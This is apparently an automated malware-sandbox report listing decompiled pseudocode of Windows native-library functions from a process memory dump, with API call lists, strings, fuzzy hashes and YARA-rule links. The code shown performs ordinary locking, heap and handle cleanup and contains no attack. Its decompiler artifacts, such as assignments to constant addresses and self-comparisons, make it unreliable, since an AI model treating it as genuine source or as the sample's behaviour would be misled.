							_t40 = _t10;
							_t29 = E6CEBA708(_t50, _v12, _v8, _t40);
							_v16 = _t29;
							if(_t29 >= 0) {
								 *(_t51 + 8) = _t50;
								_t30 =  *0x6cef53d4; // 0x6cef53d0
								if( *_t30 != 0x6cef53d0) {
									0x6cef53d0 = 3;
									asm("int 0x29");
								}
								 *_t51 = 0x6cef53d0;
								 *(_t51 + 4) = _t30;
								 *_t30 = _t51;
								 *0x6cef53d4 = _t51;
								goto L15;
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t51);
							_t52 = _v16;
							L11:
							E6CE1FFB0(_t40, _t50, 0x6cef6220);
							return _t52;
						}
						_t52 = 0xc0000017;
						goto L11;
					}
					_push( &_v8);
					_push( &_v12);
					_push(_t44);
					_push(_t50 & 0xfffffeff);
					_push(0xc);
					_t52 = E6CE4A420();
					if(_t52 >= 0) {
						goto L7;
					}
					goto L11;
				}
				return 0xc00000f0;
			}

0x6ceca194
0x6ceca199
0x6ceca19d
0x6ceca1ae
0x6ceca1b3
0x6ceca1ba
0x6ceca1be
0x6ceca27e
0x6ceca283
0x6ceca28b
0x00000000
0x6ceca28d
0x6ceca1cf
0x6ceca1d3
0x6ceca1f8
0x6ceca1fe
0x6ceca201
0x6ceca213
0x6ceca217
0x6ceca223
0x6ceca223
0x6ceca22c
0x6ceca231
0x6ceca236
0x6ceca25b
0x6ceca263
0x6ceca26a
0x6ceca26e
0x6ceca26f
0x6ceca26f
0x6ceca271
0x6ceca273
0x6ceca276
0x6ceca278
0x00000000
0x6ceca278
0x6ceca245
0x6ceca24a
0x6ceca24d
0x6ceca252
0x00000000
0x6ceca257
0x6ceca219
0x00000000
0x6ceca219
0x6ceca1d8
0x6ceca1dc
0x6ceca1dd
0x6ceca1e5
0x6ceca1e6
0x6ceca1ed
0x6ceca1f1
0x00000000
0x00000000
0x00000000
0x6ceca1f3
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6CEF6220,00000000,?,?,?), ref: 6CECA1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6CEF6220,00000000,?,?,?), ref: 6CECA1E8
RtlReleaseSRWLockExclusive.1105(6CEF6220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6CEF6220,00000000,?,?,?), ref: 6CECA252

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: e93f42b7ea0d57e3a2f02905312a7509eff5ddf6398104036de02e088a6cdf7a
Instruction ID: 67b097a2e99c1e553caa5a3153386ec7202597628184939ca410a5f326831915
Opcode Fuzzy Hash: e93f42b7ea0d57e3a2f02905312a7509eff5ddf6398104036de02e088a6cdf7a
Instruction Fuzzy Hash: 03312472B84215EBD7158F99D940BAEBBB8EF46318F30416DE424EBB40EB70CD018791

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0F7C0, Relevance: 9.1, APIs: 6, Instructions: 64
nativeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6CE0F7C0(void* __ecx, signed char _a4, signed short _a8, intOrPtr* _a12) {
				void* __ebx;
				void* __edi;
				void* _t16;
				signed char _t29;
				intOrPtr* _t37;
				signed int _t39;

				_t39 = _a8 & 0x0000ffff;
				if(_t39 == 0) {
					L13:
					E6CE0CC50(6);
					_t16 = 6;
					return _t16;
				}
				_t29 = _a4;
				if((_t29 & 0x00000001) != 0) {
					goto L13;
				}
				_t5 = _t29 + 0x34; // 0x64
				_t17 = _t5;
				if(_t39 !=  *_t5 || _t29 ==  *0x6cef60d8) {
					goto L13;
				} else {
					_t6 = _t29 + 0x28; // 0x58
					_t38 = _t6;
					E6CE22280(_t17, _t6);
					asm("lock cmpxchg [edx], cx");
					if(_t39 != _t39) {
						E6CE1FFB0(_t29, _t38, _t38);
						goto L13;
					}
					E6CE0F8C8(_t29);
					E6CE1FFB0(_t29, _t38, _t38);
					_t24 =  *(_t29 + 0x36) & 0x00003fff;
					if(( *(_t29 + 0x36) & 0x00003fff) != 0xa) {
						_push( *((intOrPtr*)(_t29 + 0x30)));
						_t24 = E6CE495D0();
					}
					_t34 =  *(_t29 + 0xc8);
					if( *(_t29 + 0xc8) != 0) {
						E6CED4015(_t24, _t34);
						 *(_t29 + 0xc8) =  *(_t29 + 0xc8) & 0x00000000;
					}
					_t37 = _a12;
					if(_t37 != 0) {
						 *_t37 =  *((intOrPtr*)(_t29 + 0x20));
					}
					E6CE0F871(_t29);
					return 0;
				}
			}

0x6ce0f7c7
0x6ce0f7cf
0x6ce0f865
0x6ce0f867
0x6ce0f86e
0x00000000
0x6ce0f86e
0x6ce0f7d5
0x6ce0f7db
0x00000000
0x00000000
0x6ce0f7e1
0x6ce0f7e1
0x6ce0f7e7
0x00000000
0x6ce0f7f1
0x6ce0f7f1
0x6ce0f7f1
0x6ce0f7f5
0x6ce0f802
0x6ce0f80a
0x6ce0f860
0x00000000
0x6ce0f860
0x6ce0f80e
0x6ce0f814
0x6ce0f822
0x6ce0f829
0x6ce0f82b
0x6ce0f82e
0x6ce0f82e
0x6ce0f833
0x6ce0f83b
0x6ce65d50
0x6ce65d55
0x6ce65d55
0x6ce0f841
0x6ce0f846
0x6ce0f85b
0x6ce0f85b
0x6ce0f84a
0x00000000
0x6ce0f84f

APIs

RtlAcquireSRWLockExclusive.1105(00000058,00000000,00000000,00000000,?,6CE776A7,?,?,00000000,6CDE67CC,00000000,00000000,?,00000040), ref: 6CE0F7F5
RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6CE776A7,?,?,00000000,6CDE67CC,00000000,00000000,?,00000040), ref: 6CE0F860

Part of subcall function 6CE0F8C8: RtlAcquireSRWLockExclusive.1105(6CEF86AC,00000058,?,00000030,6CE0F813,00000058,00000000,00000000,00000000,?,6CE776A7,?,?,00000000,6CDE67CC,00000000), ref: 6CE0F8D5
Part of subcall function 6CE0F8C8: RtlRbRemoveNode.1105(6CEF86DC,00000030,6CEF86AC,00000058,?,00000030,6CE0F813,00000058,00000000,00000000,00000000,?,6CE776A7,?,?,00000000), ref: 6CE0F8E0
Part of subcall function 6CE0F8C8: RtlReleaseSRWLockExclusive.1105(6CEF86AC,6CEF86DC,00000030,6CEF86AC,00000058,?,00000030,6CE0F813,00000058,00000000,00000000,00000000,?,6CE776A7,?,?), ref: 6CE0F8EE

RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6CE776A7,?,?,00000000,6CDE67CC,00000000,00000000,?,00000040), ref: 6CE0F814
ZwClose.1105(?,00000058,00000058,00000000,00000000,00000000,?,6CE776A7,?,?,00000000,6CDE67CC,00000000,00000000,?,00000040), ref: 6CE0F82E
RtlSetLastWin32Error.1105(00000006,00000000,00000000,00000000,?,6CE776A7,?,?,00000000,6CDE67CC,00000000,00000000,?,00000040), ref: 6CE0F867

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: 49531f1227d8032231b9cd952b4f80fea14b4eadbe061ef59f9154cf04fac68f
Instruction ID: f17ff18026ab68c7f2c81c749c594409132de141a605bf835512dad172ed25ad
Opcode Fuzzy Hash: 49531f1227d8032231b9cd952b4f80fea14b4eadbe061ef59f9154cf04fac68f
Instruction Fuzzy Hash: DB118E3630520696DB01AF11D880BEA3339BB86B1CF74412DE9145EB45DB2CD4B687F8

Uniqueness

Uniqueness Score: -1.00%

Function 6CE91242, Relevance: 9.0, APIs: 6, Instructions: 31
nativeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6CE91242(intOrPtr __ebx) {
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;

				_t18 = __ebx;
				_t19 =  *((intOrPtr*)(_t20 - 0x48));
				if(_t19 != 0) {
					_push(_t19);
					_push(0xffffffff);
					E6CE497A0();
					if( *((intOrPtr*)(_t20 - 0x40)) != 0) {
						_push( *((intOrPtr*)(_t20 - 0x40)));
						E6CE495D0();
					}
					_t14 =  *((intOrPtr*)(_t20 - 0x4c));
					if(_t14 != 0) {
						_push(_t14);
						_t14 = E6CE495D0();
					}
				}
				if( *((intOrPtr*)(_t20 - 0x38)) != 0) {
					_push( *((intOrPtr*)(_t20 - 0x38)));
					_t14 = E6CE495D0();
					 *((intOrPtr*)(_t20 - 0x38)) = _t18;
				}
				if( *((intOrPtr*)(_t20 - 0x3c)) != 0) {
					_push( *((intOrPtr*)(_t20 - 0x3c)));
					_t14 = E6CE495D0();
					 *((intOrPtr*)(_t20 - 0x3c)) = _t18;
				}
				if( *((intOrPtr*)(_t20 - 0x34)) == 0) {
					return _t14;
				} else {
					_push( *((intOrPtr*)(_t20 - 0x34)));
					_t15 = E6CE495D0();
					 *((intOrPtr*)(_t20 - 0x34)) = _t18;
					return _t15;
				}
			}

0x6ce91242
0x6ce91242
0x6ce91247
0x6ce91249
0x6ce9124a
0x6ce9124c
0x6ce91255
0x6ce91257
0x6ce9125a
0x6ce9125a
0x6ce9125f
0x6ce91264
0x6ce91266
0x6ce91267
0x6ce91267
0x6ce91264
0x6ce91270
0x6ce91272
0x6ce91275
0x6ce9127a
0x6ce9127a
0x6ce91281
0x6ce91283
0x6ce91286
0x6ce9128b
0x6ce9128b
0x6ce91292
0x6ce9129f
0x6ce91294
0x6ce91294
0x6ce91297
0x6ce9129c
0x00000000
0x6ce9129c

APIs

ZwUnmapViewOfSection.1105(000000FF,?,6CE9122C,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000,?,?,?,6CEBB56B,00000000,?), ref: 6CE9124C
ZwClose.1105(?,000000FF,?,6CE9122C,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000,?,?,?,6CEBB56B,00000000), ref: 6CE9125A
ZwClose.1105(?,000000FF,?,6CE9122C,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000,?,?,?,6CEBB56B,00000000), ref: 6CE91267
ZwClose.1105(?,6CE9122C,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000,?,?,?,6CEBB56B,00000000,?,00000000), ref: 6CE91275
ZwClose.1105(?,6CE9122C,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000,?,?,?,6CEBB56B,00000000,?,00000000), ref: 6CE91286
ZwClose.1105(?,6CE9122C,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000,?,?,?,6CEBB56B,00000000,?,00000000), ref: 6CE91297

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$SectionUnmapView
String ID:
API String ID: 682624529-0
Opcode ID: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction ID: 48accb63165d0d6a33536adf4c2af85bdf108c864a12fd0a73a401c70a041902
Opcode Fuzzy Hash: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction Fuzzy Hash: 8EF09C70D02208AADF05AFE0F9847DDBB79AF1025DF30822DE02176AA0DB758494DB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CE04439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6CE04439(intOrPtr* __ecx, void* __edx) {
				signed int _v8;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				signed int _v84;
				void* _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t64;
				signed int _t68;
				intOrPtr* _t72;
				signed int _t74;
				void* _t77;
				signed int _t83;
				signed int _t84;

				_t79 = __edx;
				_t54 =  *0x6cefd360 ^ _t84;
				_v8 =  *0x6cefd360 ^ _t84;
				_t82 = __ecx;
				_v96 = __edx;
				_t74 = __edx;
				if(__edx != 0 && ( *(__edx + 8) & 0x00000004) == 0) {
					_t82 = __ecx + 4;
					_t72 =  *_t82;
					while(_t72 != _t82) {
						_t83 = _t72 - 8;
						_t79 = 1;
						if( *_t83 != 0x74736c46) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = 1;
							_v68 = 1;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = 1;
							E6CE5DEF0(_t74, 1);
							_t74 = _v96;
							_t79 = 1;
						}
						if( *(_t83 + 0x14) !=  !( *(_t83 + 4))) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = _t79;
							_v68 = 2;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = _t79;
							E6CE5DEF0(_t74, _t79);
							_t74 = _v96;
						}
						_t9 = _t83 + 0x18; // 0x1c
						_t54 = _t9;
						if(_t74 < _t9) {
							L13:
							_t72 =  *_t72;
							continue;
						} else {
							_t10 = _t83 + 0x618; // 0x61c
							_t54 = _t10;
							if(_t74 >= _t10) {
								goto L13;
							} else {
								_v96 = 0x30;
								_t64 = _t74 - _t83 - 0x18;
								asm("cdq");
								_t79 = _t64 % _v96;
								_t54 = 0x18 + _t64 / _v96 * 0x30 + _t83;
								if(_t74 == 0x18 + _t64 / _v96 * 0x30 + _t83) {
									_t54 =  *(_t83 + 4);
									if(_t54 != 0) {
										_t68 = _t54 - 1;
										 *(_t83 + 4) = _t68;
										_t54 =  !_t68;
										 *(_t83 + 0x14) =  !_t68;
										 *((intOrPtr*)(_t74 + 8)) = 4;
										if( *(_t83 + 4) == 0) {
											_t54 =  *(_t72 + 4);
											if(_t54 != _t82) {
												do {
													_t83 =  *(_t54 + 4);
													_t79 = _t54 - 8;
													if( *((intOrPtr*)(_t79 + 4)) == 0) {
														_t77 =  *_t54;
														if( *(_t77 + 4) != _t54 ||  *_t83 != _t54) {
															_push(3);
															asm("int 0x29");
															return 0x3e5;
														}
														 *_t83 = _t77;
														 *(_t77 + 4) = _t83;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t79);
													}
													_t54 = _t83;
												} while (_t83 != _t82);
											}
										}
									}
								}
							}
						}
						goto L12;
					}
				}
				L12:
				return E6CE4B640(_t54, _t72, _v8 ^ _t84, _t79, _t82, _t83);
			}

0x6ce04439
0x6ce04446
0x6ce04448
0x6ce0444e
0x6ce04450
0x6ce04453
0x6ce04457
0x6ce04467
0x6ce0446a
0x6ce0446c
0x6ce04472
0x6ce04475
0x6ce0447c
0x6ce6080d
0x6ce60814
0x6ce60815
0x6ce6081c
0x6ce6081f
0x6ce60822
0x6ce60825
0x6ce60828
0x6ce6082f
0x6ce60832
0x6ce60837
0x6ce6083c
0x6ce6083c
0x6ce0448a
0x6ce60842
0x6ce60849
0x6ce6084a
0x6ce60851
0x6ce60854
0x6ce6085b
0x6ce6085e
0x6ce60861
0x6ce60868
0x6ce6086b
0x6ce60870
0x6ce60870
0x6ce04490
0x6ce04490
0x6ce04495
0x6ce044f8
0x6ce044f8
0x00000000
0x6ce04497
0x6ce04497
0x6ce04497
0x6ce0449f
0x00000000
0x6ce044a1
0x6ce044a3
0x6ce044ac
0x6ce044af
0x6ce044b0
0x6ce044b9
0x6ce044bd
0x6ce044bf
0x6ce044c4
0x6ce044c6
0x6ce044c7
0x6ce044ca
0x6ce044cc
0x6ce044cf
0x6ce044da
0x6ce044dc
0x6ce044e1
0x6ce60878
0x6ce60878
0x6ce6087b
0x6ce60882
0x6ce60884
0x6ce60889
0x6ce608b0
0x6ce608b3
0x00000000
0x6ce608b5
0x6ce60896
0x6ce6089a
0x6ce608a0
0x6ce608a0
0x6ce608a5
0x6ce608a7
0x6ce608ab
0x6ce044e1
0x6ce044da
0x6ce044c4
0x6ce044bd
0x6ce0449f
0x00000000
0x6ce04495
0x6ce0446c
0x6ce044e7
0x6ce044f7

Strings

Flst, xrefs: 6CE04476
0, xrefs: 6CE044A3

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: c63fd0cf015f33e2a52d79ebc84479651da27f01de6ce698cfcd4840f6294e91
Instruction ID: ed651fa91ef84c24d2a3e32398d04af9f6c1df684e501e424e2cbd6a9b5d3467
Opcode Fuzzy Hash: c63fd0cf015f33e2a52d79ebc84479651da27f01de6ce698cfcd4840f6294e91
Instruction Fuzzy Hash: 854166B1A01688CBDB14CF9AD68079DFBF5EF94318F24812ED0499BA44DB759946CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3D294, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E6CE3D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				long _v56;
				long _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				long _v84;
				void* _v88;
				char _v92;
				void* _v96;
				void* _v100;
				char _v104;
				char _v105;
				intOrPtr _v113;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t35;
				char _t38;
				long _t40;
				signed int _t44;
				long _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				void* _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6cefd360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(L6CE24120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E6CE4B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E6CE498D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E6CE495D0();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), _t52, _t62);
					goto L4;
				} else {
					L4:
					RtlFreeHeap( *( *[fs:0x30] + 0x18), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v113 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x6ce3d29c
0x6ce3d2a6
0x6ce3d2b1
0x6ce3d2b5
0x6ce3d2b6
0x6ce3d2bc
0x6ce3d2bd
0x6ce3d2be
0x6ce3d2bf
0x6ce3d2c2
0x6ce3d2c4
0x6ce3d2cc
0x6ce3d384
0x6ce3d34b
0x6ce3d34f
0x6ce3d350
0x6ce3d351
0x6ce3d35c
0x6ce3d35c
0x6ce3d2d6
0x6ce3d2da
0x6ce3d2e1
0x6ce3d361
0x6ce3d369
0x6ce3d36d
0x6ce3d2e3
0x6ce3d2e3
0x6ce3d2e3
0x6ce3d2e5
0x6ce3d2ed
0x6ce3d2f5
0x6ce3d2fa
0x6ce3d302
0x6ce3d303
0x6ce3d30b
0x6ce3d30f
0x6ce3d313
0x6ce3d318
0x6ce3d31c
0x6ce3d320
0x6ce3d379
0x6ce3d37d
0x00000000
0x00000000
0x6ce7affe
0x6ce7b001
0x6ce7b011
0x00000000
0x6ce3d322
0x6ce3d322
0x6ce3d330
0x6ce3d337
0x6ce3d35d
0x6ce3d339
0x6ce3d33f
0x6ce3d38c
0x6ce3d38c
0x6ce3d33f
0x6ce3d349
0x00000000
0x6ce3d349

APIs

ZwQueryAttributesFile.1105(?,?,?,?), ref: 6CE3D313
RtlFreeHeap.1105(?,00000000,?,?,?,?,?), ref: 6CE3D330
ZwClose.1105(00000000,?,?,?,?), ref: 6CE7B001
RtlFreeHeap.1105(?,00000000,?,00000000,?,?,?,?), ref: 6CE7B011

Strings

@, xrefs: 6CE3D303

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AttributesCloseFileQuery
String ID: @
API String ID: 2866988855-2766056989
Opcode ID: 214127ba82b035e1b3bdb3e6c7a3f642c3fc1db23f6b8ec8f368309127d40e45
Instruction ID: 7c79c409a3cd54885b4b09408fe1c0a51e09ed61c2545cccf24ce724dcbbba5b
Opcode Fuzzy Hash: 214127ba82b035e1b3bdb3e6c7a3f642c3fc1db23f6b8ec8f368309127d40e45
Instruction Fuzzy Hash: FB31B4B55583149FC311CF28C980A9BBBF8EB86758F20152EF59887710D734EE09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE8EA20, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6CE8EA20(intOrPtr* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t22;
				intOrPtr* _t23;
				void* _t30;
				void* _t32;
				intOrPtr* _t33;
				intOrPtr* _t35;
				void* _t36;
				signed int _t37;

				_push(__ecx);
				_v8 =  *0x6cefd360 ^ _t37;
				_t13 =  *[fs:0x30];
				_t35 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) == 0 ||  *0x6cefb238 == 0) {
					L10:
					_pop(_t32);
					_pop(_t36);
					_pop(_t22);
					return E6CE4B640(_t13, _t22, _v8 ^ _t37, _t30, _t32, _t36);
				} else {
					L6CE1EEF0(0x6cef70a0);
					if(E6CE8F625( *((intOrPtr*)(_t35 + 0x18))) == 0) {
						_t28 = _t35;
						if(E6CE8F2B7(_t35) < 0) {
							L9:
							_t13 = E6CE1EB70(_t28, 0x6cef70a0);
							goto L10;
						}
						_t33 =  *0x6cef70c0;
						while(_t33 != 0x6cef70c0) {
							_t23 =  *((intOrPtr*)(_t33 + 0x1c));
							_t33 =  *_t33;
							if(_t23 != 0) {
								_t28 = _t23;
								 *0x6cefb1e0( *((intOrPtr*)(_t35 + 0x30)),  *((intOrPtr*)(_t35 + 0x18)),  *((intOrPtr*)(_t35 + 0x20)), _t35);
								 *_t23();
							}
						}
						goto L9;
					}
					E6CE0B150("AVRF: AVrfDllUnloadNotification called for a provider (%p) \n", _t35);
					_pop(_t28);
					asm("int3");
					goto L9;
				}
			}

0x6ce8ea25
0x6ce8ea2d
0x6ce8ea30
0x6ce8ea40
0x6ce8ea42
0x6ce8eab5
0x6ce8eab8
0x6ce8eab9
0x6ce8eabc
0x6ce8eac5
0x6ce8ea4d
0x6ce8ea52
0x6ce8ea61
0x6ce8ea73
0x6ce8ea7c
0x6ce8eaab
0x6ce8eab0
0x00000000
0x6ce8eab0
0x6ce8ea7e
0x6ce8eaa3
0x6ce8ea86
0x6ce8ea89
0x6ce8ea8d
0x6ce8ea93
0x6ce8ea9b
0x6ce8eaa1
0x6ce8eaa1
0x6ce8ea8d
0x00000000
0x6ce8eaa3
0x6ce8ea69
0x6ce8ea6f
0x6ce8ea70
0x00000000
0x6ce8ea70

APIs

RtlEnterCriticalSection.1105(6CEF70A0,-00000054,?,00000000,-00000054,?,6CE65D18), ref: 6CE8EA52
DbgPrint.1105(AVRF: AVrfDllUnloadNotification called for a provider (%p) ,-00000054,6CEF70A0,-00000054,?,00000000,-00000054,?,6CE65D18), ref: 6CE8EA69
RtlLeaveCriticalSection.1105(6CEF70A0,6CEF70A0,-00000054,?,00000000,-00000054,?,6CE65D18), ref: 6CE8EAB0

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 6CE8EA64

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavePrint
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 1203512206-702105204
Opcode ID: b44233469feb8bfbe5a6f52e4332eb2517abf3aef3574c894fe800efa3fc16ee
Instruction ID: 490f60c764724d93913cfa2fe8ace8909b115f81d532a9b808ee5e555d3a335d
Opcode Fuzzy Hash: b44233469feb8bfbe5a6f52e4332eb2517abf3aef3574c894fe800efa3fc16ee
Instruction Fuzzy Hash: C611253A602A089BD7109F25DC84A9A7B75FF8665CB30019CE42957F91CB35AC0AC7D4

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2E090, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38
nativeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6CE2E090(char __ebx, intOrPtr __ecx) {
				void* _t9;
				intOrPtr _t13;
				char _t16;
				void* _t19;
				void* _t21;

				_t17 = __ecx;
				_t16 = __ebx;
				if( *((intOrPtr*)(_t21 - 0x34)) != __ebx) {
					_t17 = 0xc0000005;
					 *((intOrPtr*)( *((intOrPtr*)(_t19 + 0x18)))) = 0xc0000005;
					_t9 = E6CE0B1E1(0xc0000005, 0x14ab, __ebx, _t19);
				}
				if( *((char*)(_t21 - 0x19)) != 0) {
					_t9 = E6CE21E70( *((intOrPtr*)(_t21 - 0x2c)), _t21 - 0x2c);
				}
				if( *((char*)(_t21 - 0x20)) == 0) {
					L6CE1EEF0(0x6cef7b60);
					_t13 =  *0x6cef7b78 - 1;
					 *0x6cef7b78 = _t13;
					if(_t13 != 1 ||  *0x6cef7b80 != 0x6cef7b80) {
						 *((char*)(_t21 - 0x24)) = _t16;
					}
					_t9 = E6CE1EB70(_t17, 0x6cef7b60);
					if( *((char*)(_t21 - 0x24)) != 0) {
						_push(_t16);
						_push( *0x6cef7b48);
						return E6CE495C0();
					}
				}
				return _t9;
			}

0x6ce2e090
0x6ce2e090
0x6ce2e093
0x6ce73b93
0x6ce73b98
0x6ce73ba1
0x6ce73ba1
0x6ce2e09d
0x6ce2e0a6
0x6ce2e0a6
0x6ce2e0af
0x6ce2e0b7
0x6ce2e0c1
0x6ce2e0c2
0x6ce2e0ca
0x6ce2e0d8
0x6ce2e0d8
0x6ce2e0dc
0x6ce2e0e5
0x6ce2e0e8
0x6ce2e0e9
0x00000000
0x6ce2e0ef
0x6ce2e0e5
0x6ce2e0e7

APIs

RtlWow64EnableFsRedirectionEx.1105(6CEF7B60,6CEF7B60,6CE2DFDF,?,00000000,6CEF7B60,6CEDFE18,00000028), ref: 6CE2E0A6
RtlEnterCriticalSection.1105(6CEF7B60,6CE2DFDF,?,00000000,6CEF7B60,6CEDFE18,00000028), ref: 6CE2E0B7
RtlLeaveCriticalSection.1105(6CEF7B60,6CEF7B60,6CE2DFDF,?,00000000,6CEF7B60,6CEDFE18,00000028), ref: 6CE2E0DC
ZwSetEvent.1105(00000000,6CEF7B60,6CEF7B60,6CE2DFDF,?,00000000,6CEF7B60,6CEDFE18,00000028), ref: 6CE2E0EF

Strings

`{l, xrefs: 6CE2E0B1

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

